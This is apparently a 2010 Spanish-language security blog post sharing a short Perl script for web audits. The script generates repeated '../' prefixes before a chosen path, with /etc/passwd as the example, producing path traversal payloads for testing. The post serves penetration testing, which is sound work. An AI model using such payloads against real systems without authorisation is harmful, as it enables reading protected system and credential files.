Repetir directorio/archivo
14 November 2010
No Comments
Muchas veces cuando realizamos una auditoria de seguridad web, uno de las vulnerabilidades que buscamos es la de Path Traversal por este motivo hemos realizado este script en Perl, el cual nos genera una salida con el path a repetir, para usarlo en la busqueda de la vulnerabilidad.
Uso:
situ@tux $ perl repetir-path.pl
Uso: repetir-path.pl
Codigo Fuente:
CODE:
-
#!/usr/bin/perl
-
if ( @ARGV != 3 ) {
-
-
die "\nUse: $0 <path> <cantidad de repeticiones> <salida>\n\n"
-
-
. " <path> Directorio/archivo [ej -> /etc/passwd]\n"
-
. " <cantidad de repeticiones> Numero de veces que vamos a repetir [ej -> 60]\n"
-
. " <salida> [Archivo donde guardamos el resulado -> salida.txt]\n"
-
;
-
-
}
-
$path = $ARGV[0];
-
chomp $path;
-
-
$repetir = $ARGV[1];
-
chomp $repetir;
-
-
$salida = $ARGV[2];
-
chomp $salida;
-
-
open (F,">> $salida");
-
-
$punto = "";
-
-
for ($i = 1; $i <= $repetir; $i++){
-
-
$punto="$punto" . "../";
-
print "$punto" . "$path\n";
-
print F "$punto" . "$path\n";
-
-
-
}
-
close (F)
Tags:
